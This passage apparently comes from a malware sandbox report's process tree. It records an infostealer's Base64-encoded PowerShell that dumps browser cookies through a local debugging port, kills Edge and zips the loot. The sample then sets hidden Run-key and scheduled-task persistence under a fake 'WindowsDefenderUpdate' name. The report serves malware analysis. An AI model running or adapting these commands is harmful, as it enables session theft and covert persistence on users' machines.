AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1304
                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADcANAA1AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA3ADQANQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:3416
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:6688
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                      taskkill /F /IM msedge.exe
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                      PID:6700
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_52ejei" ."
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:1932
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\tar.exe
                                                                                                                                                                                                                                                                                                                                        tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_52ejei" .
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:1160
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133064347.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133064347.txt""
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:3940
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\tar.exe
                                                                                                                                                                                                                                                                                                                                            tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133064347.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133064347.txt"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:6712
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe""
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:7020
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6632
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6356
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:3916
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1940
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1844
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsDefenderUpdateTask" /F"
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                        • Indicator Removal: Clear Persistence
                                                                                                                                                                                                                                                                                                                                                        PID:560
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                          schtasks /Delete /TN "WindowsDefenderUpdateTask" /F
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6484
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5072
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5068
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
